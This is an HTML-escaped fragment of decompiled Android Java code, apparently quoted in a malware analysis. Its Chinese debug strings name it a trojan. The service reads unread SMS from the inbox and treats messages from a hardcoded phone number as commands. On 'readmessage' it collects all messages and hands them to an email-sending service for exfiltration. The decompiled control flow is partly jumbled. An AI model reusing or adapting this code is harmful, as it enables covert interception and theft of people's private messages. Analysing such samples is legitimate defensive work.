    &lt;span class="nt"&gt;localCursor2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;ListenMessageService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;getContentResolver&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;query&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;Uri&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;parse&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;content://sms/inbox&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;),&lt;/span&gt; &lt;span class="nt"&gt;new&lt;/span&gt; &lt;span class="nt"&gt;String&lt;/span&gt;&lt;span class="cp"&gt;[]&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="err"&gt;&amp;quot;_id&amp;quot;,&lt;/span&gt; &lt;span class="err"&gt;&amp;quot;address&amp;quot;,&lt;/span&gt; &lt;span class="err"&gt;&amp;quot;read&amp;quot;,&lt;/span&gt; &lt;span class="err"&gt;&amp;quot;body&amp;quot;,&lt;/span&gt; &lt;span class="err"&gt;&amp;quot;thread_id&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;read=?&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;new&lt;/span&gt; &lt;span class="nt"&gt;String&lt;/span&gt;&lt;span class="cp"&gt;[]&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="err"&gt;&amp;quot;0&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;date desc&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
  &lt;span class="err"&gt;}&lt;/span&gt;
  &lt;span class="nt"&gt;while&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;localCursor2&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nt"&gt;null&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
  &lt;span class="nt"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="nt"&gt;localCursor2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;moveToNext&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="err"&gt;localCursor2.close()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="err"&gt;System.out.println(&amp;quot;木马离开ContentObserver，完成截获---------------------------------------------------&amp;quot;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="err"&gt;if&lt;/span&gt; &lt;span class="err"&gt;(localCursor2&lt;/span&gt; &lt;span class="err"&gt;!=&lt;/span&gt; &lt;span class="err"&gt;null)&lt;/span&gt;
      &lt;span class="err"&gt;localCursor2.close()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="err"&gt;System.out.println(&amp;quot;=====================================================&amp;quot;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="err"&gt;super.onChange(true)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="err"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="nt"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;木马进入RECV查询---------------------------------&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
  &lt;span class="nt"&gt;ListenMessageService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;SmsInfo&lt;/span&gt; &lt;span class="nt"&gt;localSmsInfo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;new&lt;/span&gt; &lt;span class="nt"&gt;ListenMessageService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;SmsInfo&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;ListenMessageService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;this&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
  &lt;span class="nt"&gt;StringBuilder&lt;/span&gt; &lt;span class="nt"&gt;localStringBuilder1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;new&lt;/span&gt; &lt;span class="nt"&gt;StringBuilder&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
  &lt;span class="nt"&gt;String&lt;/span&gt; &lt;span class="nt"&gt;str1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;localCursor2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;getString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;localCursor2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;getColumnIndex&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;body&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
  &lt;span class="nt"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;time-&amp;amp;gt;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nt"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;currentTimeMillis&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;;content-&amp;amp;gt;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nt"&gt;str1&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
  &lt;span class="nt"&gt;int&lt;/span&gt; &lt;span class="nt"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;str1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;indexOf&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;#&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
  &lt;span class="nt"&gt;label469&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nt"&gt;String&lt;/span&gt; &lt;span class="nt"&gt;str4&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="nt"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;lt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="nt"&gt;0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="err"&gt;if&lt;/span&gt; &lt;span class="err"&gt;(ListenMessageService.this.app.lastMsg.equals(str1))&lt;/span&gt;
    &lt;span class="err"&gt;{&lt;/span&gt;
      &lt;span class="err"&gt;if&lt;/span&gt; &lt;span class="err"&gt;(System.currentTimeMillis()&lt;/span&gt; &lt;span class="err"&gt;-&lt;/span&gt; &lt;span class="err"&gt;ListenMessageService.this.app.time&lt;/span&gt; &lt;span class="err"&gt;&amp;amp;lt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="err"&gt;15000L)&lt;/span&gt;
      &lt;span class="err"&gt;{&lt;/span&gt;
        &lt;span class="err"&gt;System.out.println(&amp;quot;^^^^^^^^^^^^^^^^^&amp;quot;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="err"&gt;System.out.println(&amp;quot;Second&lt;/span&gt; &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="err"&gt;into&lt;/span&gt; &lt;span class="err"&gt;,return!&amp;quot;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="err"&gt;System.out.println(&amp;quot;^^^^^^^^^^^^^^^^^&amp;quot;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="err"&gt;}&lt;/span&gt;
    &lt;span class="nt"&gt;else&lt;/span&gt;
      &lt;span class="nt"&gt;ListenMessageService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;lastMsg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;str1&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nt"&gt;ListenMessageService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;time&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;currentTimeMillis&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="nt"&gt;localSmsInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;smsBody&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;str1&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nt"&gt;localSmsInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;localCursor2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;getString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;localCursor2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;getColumnIndex&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;_id&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
    &lt;span class="nt"&gt;String&lt;/span&gt; &lt;span class="nt"&gt;str2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;localCursor2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;getString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;localCursor2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;getColumnIndex&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;address&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;replace&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot; &amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;replace&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;+86&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="nt"&gt;localSmsInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;smsAddress&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;str2&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nt"&gt;localSmsInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;thread_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;localCursor2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;getString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;localCursor2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;getColumnIndex&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;thread_id&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
    &lt;span class="nt"&gt;localSmsInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;read&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;localCursor2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;getString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;localCursor2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;getColumnIndex&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;read&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
    &lt;span class="nt"&gt;localStringBuilder1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;append&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;recvFrom:&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;append&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;localCursor2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;getString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;localCursor2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;getColumnIndex&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;address&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;)));&lt;/span&gt;
    &lt;span class="nt"&gt;localStringBuilder1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;append&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;;content:&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;append&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;localCursor2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;getString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;localCursor2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;getColumnIndex&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;body&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;)));&lt;/span&gt;
    &lt;span class="nt"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;localStringBuilder1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;toString&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
    &lt;span class="nt"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="nt"&gt;str2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;18670259904&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt;
      &lt;span class="nt"&gt;break&lt;/span&gt; &lt;span class="nt"&gt;label1345&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nt"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;木马判断为命令消息，执行&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="nt"&gt;str4&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;str1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;substring&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;i&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="nt"&gt;switch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;str4&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;hashCode&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="n"&gt;label728&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ListenMessageService&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Flag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="err"&gt;System.out.println(&amp;quot;数据库处理不认识的命令--------------------------------------&amp;quot;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="err"&gt;localSmsInfo.action&lt;/span&gt; &lt;span class="err"&gt;=&lt;/span&gt; &lt;span class="err"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="n"&gt;label750&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Message&lt;/span&gt; &lt;span class="n"&gt;localMessage2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;smsHandler&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;obtainMessage&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
      &lt;span class="err"&gt;localMessage2.obj&lt;/span&gt; &lt;span class="err"&gt;=&lt;/span&gt; &lt;span class="err"&gt;localSmsInfo&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="err"&gt;this.smsHandler.sendMessage(localMessage2)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="err"&gt;case&lt;/span&gt; &lt;span class="err"&gt;-1449143887:&lt;/span&gt;
    &lt;span class="err"&gt;case&lt;/span&gt; &lt;span class="err"&gt;-973199489:&lt;/span&gt;
    &lt;span class="err"&gt;case&lt;/span&gt; &lt;span class="err"&gt;3556498:&lt;/span&gt;
    &lt;span class="err"&gt;case&lt;/span&gt; &lt;span class="err"&gt;579867225:&lt;/span&gt;
    &lt;span class="err"&gt;case&lt;/span&gt; &lt;span class="err"&gt;1248164738:&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="err"&gt;}&lt;/span&gt;
  &lt;span class="nt"&gt;while&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;true&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="err"&gt;System.out.println(&amp;quot;木马完成处理截获短信&lt;/span&gt; &lt;span class="err"&gt;&amp;amp;gt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="err"&gt;&amp;amp;gt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt; &lt;span class="err"&gt;+&lt;/span&gt; &lt;span class="err"&gt;localStringBuilder1.toString())&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="err"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="err"&gt;if&lt;/span&gt; &lt;span class="err"&gt;(ListenMessageService.this.app.allMsg.equals(str1))&lt;/span&gt;
    &lt;span class="err"&gt;{&lt;/span&gt;
      &lt;span class="err"&gt;if&lt;/span&gt; &lt;span class="err"&gt;(System.currentTimeMillis()&lt;/span&gt; &lt;span class="err"&gt;-&lt;/span&gt; &lt;span class="err"&gt;ListenMessageService.this.app.time&lt;/span&gt; &lt;span class="err"&gt;&amp;amp;gt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="err"&gt;=&lt;/span&gt; &lt;span class="err"&gt;5000L)&lt;/span&gt;
        &lt;span class="err"&gt;break&lt;/span&gt; &lt;span class="err"&gt;label469&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="err"&gt;System.out.println(&amp;quot;^^^^^^^^^^^^^^^^^&amp;quot;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="err"&gt;System.out.println(&amp;quot;Second&lt;/span&gt; &lt;span class="err"&gt;time&lt;/span&gt;  &lt;span class="err"&gt;into&lt;/span&gt; &lt;span class="err"&gt;,return!&amp;quot;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="err"&gt;System.out.println(&amp;quot;^^^^^^^^^^^^^^^^^&amp;quot;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="err"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="nt"&gt;ListenMessageService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;allMsg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;str1&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nt"&gt;break&lt;/span&gt; &lt;span class="nt"&gt;label469&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nt"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="nt"&gt;str4&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;readmessage&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt;
      &lt;span class="nt"&gt;break&lt;/span&gt; &lt;span class="nt"&gt;label728&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nt"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;数据库处理发送邮件命令-----------------------------------&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="nt"&gt;String&lt;/span&gt; &lt;span class="nt"&gt;str10&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;ListenMessageService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;ReadAllMessage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;ListenMessageService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;this&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="nt"&gt;Intent&lt;/span&gt; &lt;span class="nt"&gt;localIntent2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;new&lt;/span&gt; &lt;span class="nt"&gt;Intent&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;ListenMessageService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;this&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;MySendEmailService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;class&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="nt"&gt;localIntent2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;putExtra&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;String&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;str10&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="nt"&gt;ListenMessageService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;startService&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;localIntent2&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="nt"&gt;ListenMessageService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Flag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;false&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nt"&gt;localSmsInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;action&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;2&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nt"&gt;break&lt;/span&gt; &lt;span class="nt"&gt;label750&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
